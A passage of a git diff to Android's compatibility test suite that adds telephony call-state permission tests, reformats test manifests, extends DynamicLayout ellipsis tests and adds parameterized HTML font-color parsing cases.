+     * Ensures we get a valid callback on registration even though we don't have
+     * {@link android.Manifest.permission#READ_CALL_LOG} permission.
+     */
+    @Test
+    public void testRegisterWithNoCallLogPermission() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        MyTelephonyCallback callback = new MyTelephonyCallback();
+        runWithShellPermissionIdentity(
+                () -> telephonyManager.registerTelephonyCallback(mSimpleExecutor, callback));
+
+
+        try {
+            mCallStateReceivedLatch.await(10000, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail("Expected to receive call state callback");
+        }
+
+        assertTrue(mReceivedCallback);
+    }
+
+    /**
+     * Test Call State listener requires READ_PHONE_STATE for API 31+.
+     */
+    @Test
+    public void testCallStatePermission() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+        MyTelephonyCallback callback = new MyTelephonyCallback();
+
+        try {
+            TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE2,
+                    TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+            try {
+                telephonyManager.registerTelephonyCallback(mSimpleExecutor, callback);
+                fail("TelephonyCallback.CallStateListener must require READ_PHONE_STATE when "
+                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is enabled.");
+            } catch (SecurityException e) {
+                // Expected
+            }
+            try {
+                telephonyManager.listen(new PhoneStateListener(Runnable::run),
+                        PhoneStateListener.LISTEN_CALL_STATE);
+                fail("PhoneStateListener#onCallStateChanged must require READ_PHONE_STATE when "
+                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is enabled.");
+            } catch (SecurityException e) {
+                // Expected
+            }
+
+            TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE2,
+                    TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+            try {
+                telephonyManager.registerTelephonyCallback(mSimpleExecutor, callback);
+            } catch (SecurityException e) {
+                fail("TelephonyCallback.CallStateListener must not require READ_PHONE_STATE when "
+                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
+                        + "disabled.");
+            }
+            try {
+                telephonyManager.listen(new PhoneStateListener(Runnable::run),
+                        PhoneStateListener.LISTEN_CALL_STATE);
+            } catch (SecurityException e) {
+                fail("PhoneStateListener#onCallStateChanged must not require READ_PHONE_STATE when "
+                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
+                        + "disabled.");
+            }
+        } finally {
+            TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE2,
+                    TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+        }
+    }
+}
diff --git a/tests/tests/telephony2/src/android/telephony2/cts/TelephonyManagerNoPermissionTest.java b/tests/tests/telephony2/src/android/telephony2/cts/TelephonyManagerNoPermissionTest.java
new file mode 100644
index 0000000..a42143c
--- /dev/null
+++ b/tests/tests/telephony2/src/android/telephony2/cts/TelephonyManagerNoPermissionTest.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony2.cts;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test APIs when the package does not have READ_PHONE_STATE.
+ */
+public class TelephonyManagerNoPermissionTest {
+
+    private Context mContext;
+    private PackageManager mPackageManager;
+    private TelephonyManager mTelephonyManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE2,
+                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+    }
+
+    @Test
+    public void testGetCallState_redirectToTelecom() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE2,
+                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+        try {
+            mTelephonyManager.getCallState();
+            fail("TelephonyManager#getCallState must require READ_PHONE_STATE if "
+                    + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is enabled.");
+        } catch (SecurityException e) {
+            // expected
+        }
+        TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE2,
+                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+        try {
+            mTelephonyManager.getCallState();
+        } catch (SecurityException e) {
+            fail("TelephonyManager#getCallState must not require READ_PHONE_STATE if "
+                    + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
+                    + "disabled.");
+        }
+    }
+
+    @Test
+    public void testGetCallStateForSubscription() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE2,
+                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+        try {
+            mTelephonyManager.getCallStateForSubscription();
+            fail("TelephonyManager#getCallStateForSubscription must require READ_PHONE_STATE "
+                    + "if TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
+                    + "enabled.");
+        } catch (SecurityException e) {
+            // expected
+        }
+        TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE2,
+                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+        try {
+            mTelephonyManager.getCallStateForSubscription();
+        } catch (SecurityException e) {
+            fail("TelephonyManager#getCallStateForSubscription must not require "
+                    + "READ_PHONE_STATE if "
+                    + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
+                    + "disabled.");
+        }
+    }
+}
diff --git a/tests/tests/telephony3/TEST_MAPPING b/tests/tests/telephony3/TEST_MAPPING
new file mode 100644
index 0000000..2bd2449
--- /dev/null
+++ b/tests/tests/telephony3/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelephony3TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony4/TEST_MAPPING b/tests/tests/telephony4/TEST_MAPPING
new file mode 100644
index 0000000..8ec0dcf
--- /dev/null
+++ b/tests/tests/telephony4/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSimRestrictedApisTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony4/certs/Android.bp b/tests/tests/telephony4/certs/Android.bp
index 3d40a48..4e37f99 100644
--- a/tests/tests/telephony4/certs/Android.bp
+++ b/tests/tests/telephony4/certs/Android.bp
@@ -1,11 +1,5 @@
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_app_certificate {
diff --git a/tests/tests/telephonyprovider/AndroidManifest.xml b/tests/tests/telephonyprovider/AndroidManifest.xml
index 4adb19a..c3398c2 100755
--- a/tests/tests/telephonyprovider/AndroidManifest.xml
+++ b/tests/tests/telephonyprovider/AndroidManifest.xml
@@ -16,8 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telephonyprovider.cts"
-    android:targetSandboxVersion="2">
+     package="android.telephonyprovider.cts"
+     android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.READ_SMS"/>
     <uses-permission android:name="android.permission.SEND_SMS"/>
@@ -26,68 +26,68 @@
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Required to be default SMS app -->
         <receiver android:name="android.telephonyprovider.TelephonyProviderSmsDeliverReceiver"
-                  android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
 
         </receiver>
 
         <!-- Required to be default SMS app -->
         <receiver android:name="android.telephonyprovider.TelephonyProviderWapPushDeliverReceiver"
-                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <!-- Required to be default SMS app -->
         <service android:name="android.telephonyprovider.TelephonyProviderService"
-                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                 android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
         <!-- Required to be default SMS app -->
-        <activity
-            android:name="android.telephonyprovider.TelephonyProviderActivity"
-            android:label="Telephony Provider CTS Test Activity"
-            android:windowSoftInputMode="stateHidden">
+        <activity android:name="android.telephonyprovider.TelephonyProviderActivity"
+             android:label="Telephony Provider CTS Test Activity"
+             android:windowSoftInputMode="stateHidden"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS telephony provider tests"
-        android:targetPackage="android.telephonyprovider.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS telephony provider tests"
+         android:targetPackage="android.telephonyprovider.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index 841f4bf..1e0988a 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -34,6 +34,7 @@
         "mockito-target-minus-junit4",
         "androidx.test.rules",
         "ub-uiautomator",
+        "junit-params",
     ],
 
     libs: [
diff --git a/tests/tests/text/AndroidManifest.xml b/tests/tests/text/AndroidManifest.xml
index 0e86c5f..1e1a6d9 100644
--- a/tests/tests/text/AndroidManifest.xml
+++ b/tests/tests/text/AndroidManifest.xml
@@ -16,73 +16,77 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.text.cts"
-    android:targetSandboxVersion="2">
+     package="android.text.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
 
     <application android:maxRecents="1">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.text.cts.EmojiCtsActivity"
-            android:label="AvailableIntentsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="AvailableIntentsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.text.method.cts.KeyListenerCtsActivity"
-            android:label="KeyListenerCtsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden"/>
+             android:label="KeyListenerCtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"/>
 
         <activity android:name="android.text.method.cts.CtsActivity"
-            android:label="CtsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="CtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.text.style.cts.URLSpanCtsActivity"
-            android:label="URLSpanCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="URLSpanCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.text.style.cts.MockURLSpanTestActivity"
-            android:label="MockURLSpanTestActivity"
-            android:launchMode="singleTask"
-            android:alwaysRetainTaskState="true"
-            android:configChanges="orientation|keyboardHidden"
-            android:screenOrientation="nosensor">
+             android:label="MockURLSpanTestActivity"
+             android:launchMode="singleTask"
+             android:alwaysRetainTaskState="true"
+             android:configChanges="orientation|keyboardHidden"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-                <data android:scheme="ctstesttext" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+                <data android:scheme="ctstesttext"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.text.cts.MockActivity" />
+        <activity android:name="android.text.cts.MockActivity"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.text.cts"
-                     android:label="CTS tests of android.text">
+         android:targetPackage="android.text.cts"
+         android:label="CTS tests of android.text">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 9537243..fa3ed66 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -19,6 +19,9 @@
 import static android.text.Layout.Alignment.ALIGN_NORMAL;
 import static android.text.Spanned.SPAN_EXCLUSIVE_EXCLUSIVE;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -69,13 +72,7 @@
     @Before
     public void setup() {
         mDefaultPaint = new TextPaint();
-        mDynamicLayout = new DynamicLayout(MULTLINE_CHAR_SEQUENCE,
-                mDefaultPaint,
-                DEFAULT_OUTER_WIDTH,
-                DEFAULT_ALIGN,
-                SPACING_MULT_NO_SCALE,
-                SPACING_ADD_NO_SCALE,
-                true);
+        mDynamicLayout = createBuilderWithDefaults(MULTLINE_CHAR_SEQUENCE).build();
     }
 
     @Test
@@ -107,8 +104,61 @@
                 true);
     }
 
+    /*
+     * Test the ellipsis result when no ellipsis is needed, for a singleline text.
+     */
     @Test
-    public void testEllipsis() {
+    public void testEllipsis_singlelineNotEllipsized() {
+        final DynamicLayout dynamicLayout = new DynamicLayout(SINGLELINE_CHAR_SEQUENCE,
+                SINGLELINE_CHAR_SEQUENCE,
+                mDefaultPaint,
+                DEFAULT_OUTER_WIDTH,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                true,
+                TextUtils.TruncateAt.START,
+                DEFAULT_OUTER_WIDTH);
+        assertThat(dynamicLayout.getEllipsisCount(LINE0)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisStart(LINE0)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisCount(LINE1)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisStart(LINE1)).isEqualTo(ELLIPSIS_UNDEFINED);
+        assertThat(dynamicLayout.getEllipsizedWidth()).isEqualTo(DEFAULT_OUTER_WIDTH);
+    }
+
+    /*
+     * Test the ellipsis result when no ellipsis is needed, for a multiline text.
+     */
+    @Test
+    public void testEllipsis_multilineNotEllipsized() {
+        final DynamicLayout dynamicLayout = new DynamicLayout(MULTLINE_CHAR_SEQUENCE,
+                MULTLINE_CHAR_SEQUENCE,
+                mDefaultPaint,
+                DEFAULT_OUTER_WIDTH,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                true,
+                TextUtils.TruncateAt.START,
+                DEFAULT_OUTER_WIDTH);
+        assertThat(dynamicLayout.getLineCount()).isEqualTo(3);
+        for (int i = 0; i < LINE3; i++) {
+            assertWithMessage("Ellipsis count for line " + i)
+                    .that(dynamicLayout.getEllipsisCount(i)).isEqualTo(0);
+            assertWithMessage("Ellipsis start for line " + i)
+                    .that(dynamicLayout.getEllipsisStart(i)).isEqualTo(0);
+        }
+        assertThat(dynamicLayout.getEllipsisCount(LINE3)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisStart(LINE3)).isEqualTo(ELLIPSIS_UNDEFINED);
+        assertThat(dynamicLayout.getEllipsizedWidth()).isEqualTo(DEFAULT_OUTER_WIDTH);
+    }
+
+    /*
+     * Test the ellipsis result when no ellipsis is needed, when the display text is different from
+     * the base.
+     */
+    @Test
+    public void testEllipsis_transformedNotEllipsized() {
         final DynamicLayout dynamicLayout = new DynamicLayout(SINGLELINE_CHAR_SEQUENCE,
                 MULTLINE_CHAR_SEQUENCE,
                 mDefaultPaint,
@@ -119,9 +169,16 @@
                 true,
                 TextUtils.TruncateAt.START,
                 DEFAULT_OUTER_WIDTH);
-        assertEquals(0, dynamicLayout.getEllipsisCount(LINE1));
-        assertEquals(ELLIPSIS_UNDEFINED, dynamicLayout.getEllipsisStart(LINE1));
-        assertEquals(DEFAULT_OUTER_WIDTH, dynamicLayout.getEllipsizedWidth());
+        assertThat(dynamicLayout.getLineCount()).isEqualTo(3);
+        for (int i = 0; i < LINE3; i++) {
+            assertWithMessage("Ellipsis count for line " + i)
+                    .that(dynamicLayout.getEllipsisCount(i)).isEqualTo(0);
+            assertWithMessage("Ellipsis start for line " + i)
+                    .that(dynamicLayout.getEllipsisStart(i)).isEqualTo(0);
+        }
+        assertThat(dynamicLayout.getEllipsisCount(LINE3)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisStart(LINE3)).isEqualTo(ELLIPSIS_UNDEFINED);
+        assertThat(dynamicLayout.getEllipsizedWidth()).isEqualTo(DEFAULT_OUTER_WIDTH);
     }
 
     /*
@@ -316,6 +373,32 @@
         assertLineSpecs(expected, dynamicLayout);
     }
 
+    /*
+     * Tests that the ellipsis result, for the case of TruncateAt.START and no ellipsization needed,
+     * isn't affected by a previous ellipsization. This tests the fix for a bug where the static
+     * StaticLayout instance reused internally was not properly reinitialized for this specific
+     * case.
+     */
+    @Test
+    public void testEllipsis_notAffectedByPreviousEllipsization() {
+        // Create an ellipsized DynamicLayout, but throw it away.
+        final String ellipsizedText = "Some arbitrary relatively long text";
+        final DynamicLayout ellipsizedLayout =
+                DynamicLayout.Builder.obtain(ellipsizedText, mDefaultPaint, 1 << 20 /* width */)
+                        .setEllipsize(TextUtils.TruncateAt.END)
+                        .setEllipsizedWidth(2 * (int) mDefaultPaint.getTextSize())
+                        .build();
+        // Make sure it was actually ellipsized.
+        assertThat(ellipsizedLayout.getEllipsisCount(LINE0)).isGreaterThan(0);
+
+        // Create a DynamicLayout that would trigger the bug.
+        final String text = "a\nb";
+        final DynamicLayout dynamicLayout =
+                createBuilderWithDefaults(text).setEllipsize(TextUtils.TruncateAt.START).build();
+
+        assertThat(dynamicLayout.getEllipsisCount(LINE0)).isEqualTo(0);
+    }
+
     @Test
     public void testBuilder_obtain() {
         final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
@@ -405,6 +488,31 @@
         assertNotNull(layout);
     }
 
+    /*
+     * Tests that DynamicLayout accounts for TransformationMethods that can change text length, such
+     * as AllCapsTransformationMethod ("ß" becomes "SS") and TranslationTransformationMethod
+     * (arbitrary length changes).
+     */
+    @Test
+    public void testDisplayTextUsedInsteadOfBase() {
+        DynamicLayout layout =
+                createBuilderWithDefaults(SINGLELINE_CHAR_SEQUENCE)
+                        .setDisplayText(MULTLINE_CHAR_SEQUENCE)
+                        .setEllipsize(TextUtils.TruncateAt.END)
+                        .setEllipsizedWidth(ELLIPSIZE_WIDTH)
+                        .build();
+
+        assertThat(layout.getLineCount()).isEqualTo(TEXT.length);
+
+        assertThat(layout.getLineStart(LINE0)).isEqualTo(0);
+        assertThat(layout.getLineStart(LINE1)).isEqualTo(TEXT[0].length());
+        assertThat(layout.getLineStart(LINE2)).isEqualTo(TEXT[0].length() + TEXT[1].length());
+
+        assertThat(layout.getEllipsisCount(LINE0)).isEqualTo(0);
+        assertThat(layout.getEllipsisCount(LINE1)).isEqualTo(0);
+        assertThat(layout.getEllipsisCount(LINE2)).isGreaterThan(0);
+    }
+
     @Test
     public void testReflow_afterSpanChangedShouldNotThrowException() {
         final SpannableStringBuilder builder = new SpannableStringBuilder("crash crash crash!!");
@@ -421,4 +529,11 @@
         }
     }
 
+    private DynamicLayout.Builder createBuilderWithDefaults(CharSequence base) {
+        final DynamicLayout.Builder builder =
+                DynamicLayout.Builder.obtain(base, mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        return builder.setAlignment(DEFAULT_ALIGN)
+                .setLineSpacing(SPACING_ADD_NO_SCALE, SPACING_MULT_NO_SCALE)
+                .setIncludePad(true);
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/HtmlTest.java b/tests/tests/text/src/android/text/cts/HtmlTest.java
index 7f785a8..e64e0b3 100644
--- a/tests/tests/text/src/android/text/cts/HtmlTest.java
+++ b/tests/tests/text/src/android/text/cts/HtmlTest.java
@@ -20,7 +20,9 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 
+import android.graphics.Color;
 import android.graphics.Typeface;
 import android.text.Html;
 import android.text.Layout;
@@ -41,15 +43,17 @@
 import android.text.style.UnderlineSpan;
 
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.hamcrest.BaseMatcher;
 import org.hamcrest.Description;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
 @SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
 public class HtmlTest {
     @Test
     public void testSingleTagOnWhileString() {
@@ -104,50 +108,104 @@
         assertEquals(expected, spanned);
     }
 
+    private static Object[] paramsForTestColor() {
+        return new Object[] {
+                new Object[] { "<font color=\"#00FF00\">something</font>", 0xFF00FF00 },
+                new Object[] { "<font color=\"navy\">NAVY</font>", 0xFF000080 },
+                // By default use the color values from android.graphics.Color instead of HTML/CSS
+                new Object[] { "<font color=\"green\">GREEN</font>", 0xFF00FF00 },
+                new Object[] { "<font color=\"gray\">GRAY</font>", 0xFF888888 },
+                new Object[] { "<font color=\"grey\">GREY</font>", 0xFF888888 },
+                new Object[] { "<font color=\"lightgray\">LIGHTGRAY</font>", 0xFFCCCCCC },
+                new Object[] { "<font color=\"lightgrey\">LIGHTGREY</font>", 0xFFCCCCCC },
+                new Object[] { "<font color=\"darkgray\">DARKGRAY</font>", 0xFF444444 },
+                new Object[] { "<font color=\"darkgrey\">DARKGREY</font>", 0xFF444444 },
+                new Object[] { "<font color=\"Black\">BLACK</font>", Color.BLACK },
+                new Object[] { "<font color=\"RED\">red</font>", Color.RED },
+                new Object[] { "<font color=\"bLUE\">blue</font>", Color.BLUE },
+                new Object[] { "<font color=\"yellow\">YELLOW</font>", Color.YELLOW },
+                new Object[] { "<font color=\"CYAN\">cyan</font>", Color.CYAN },
+                new Object[] { "<font color=\"magenta\">magenta</font>", Color.MAGENTA },
+                new Object[] { "<font color=\"AQUA\">AQUA</font>", 0xFF00FFFF },
+                new Object[] { "<font color=\"fuchsia\">FUCHSIA</font>", 0xFFFF00FF },
+                new Object[] { "<font color=\"lime\">LIME</font>", 0xFF00FF00 },
+                new Object[] { "<font color=\"maroon\">MAROON</font>", 0xFF800000 },
+                new Object[] { "<font color=\"puRPLE\">PURPLE</font>", 0xFF800080 },
+                new Object[] { "<font color=\"olive\">OLIVE</font>", 0xFF808000 },
+                new Object[] { "<font color=\"silver\">SILVER</font>", 0xFFC0C0C0 },
+                new Object[] { "<font color=\"teal\">TEAL</font>", 0xFF008080 },
+                new Object[] { "<font color=\"#FFFFFF\">white</font>", 0xFFFFFFFF },
+
+                // Note that while Color.parseColor requires 6 or 8 hex-digit colors (i.e.
+                // #RRGGBB or #AARRGGBB), Html supports 7 or less. (But in a 7 digit hex-digit
+                // color, the first is ignored.)
+                new Object[] { "<font color=\"#00FFF\">something</font>", 0xFF000FFF }, // [23]
+                new Object[] { "<font color=\"#FF\">blue</font>", 0xFF0000FF },
+                new Object[] { "<font color=\"#FFFFFFF\">7 F's</font>", Color.WHITE },
+                new Object[] { "<font color=\"#FF00FF1\">7 hexigits</font>", 0xFFF00FF1 },
+                new Object[] { "<font color=\"#7F00FF1\">7 hexigits</font>", 0xFFF00FF1 },
+
+                new Object[] { "<font color=\"0xFF0000\">red</font>", 0xFFFF0000 },
+                new Object[] { "<font color=\"0\">zero</font>", 0xFF000000 },
+                new Object[] { "<font color=\"01\">little blue</font>", 0xFF000001 },
+                new Object[] { "<font color=\"+02\">positive blue</font>", 0xFF000002 },
+                new Object[] { "<font color=\"16777215\">decimal white</font>", Color.WHITE },
+                new Object[] { "<font color=\"16777214\">almost white</font>", 0xFFFFFFFE },
+
+                // Beyond 3 bytes rolls over, in decimal, octal, or hex.
+                new Object[] { "<font color=\"16777217\">decimal roll over</font>", 0xFF000001 },
